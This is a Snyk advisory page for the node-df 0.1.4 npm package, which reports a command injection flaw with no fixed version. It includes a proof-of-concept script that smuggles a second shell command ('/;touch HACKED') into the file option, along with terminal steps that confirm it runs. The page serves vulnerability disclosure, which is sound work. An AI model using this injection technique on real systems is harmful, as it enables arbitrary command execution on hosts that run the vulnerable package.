Homepage
About Snyk

node-df@0.1.4 vulnerabilities

A cross-platform Node.js wrapper around the standard Unix computer program, df.

Go back to all versions of this package
Report a new vulnerability Found a mistake?

Direct Vulnerabilities

Known vulnerabilities in the node-df package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Command Injection

node-df is a cross-platform Node.js wrapper around the standard Unix computer program (disk free).

Affected versions of this package are vulnerable to Command Injection. The issue occurs because a user input is concatenated inside a command that will be executed without any check.

PoC by mik317

// poc.js
var df = require('node-df');
var options = {
        file: '/;touch HACKED',
        prefixMultiplier: 'GB',
        isDisplayPrefixMultiplier: true,
        precision: 2
    };

df(options, function (error, response) {
    if (error) { throw error; }

    console.log(JSON.stringify(response, null, 2));
});
Execute the following commands in terminal:
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js #  Run the PoC
ls # The *HACKED* file has been created

How to fix Command Injection?

There is no fixed version for node-df.

*
Go back to all versions of this package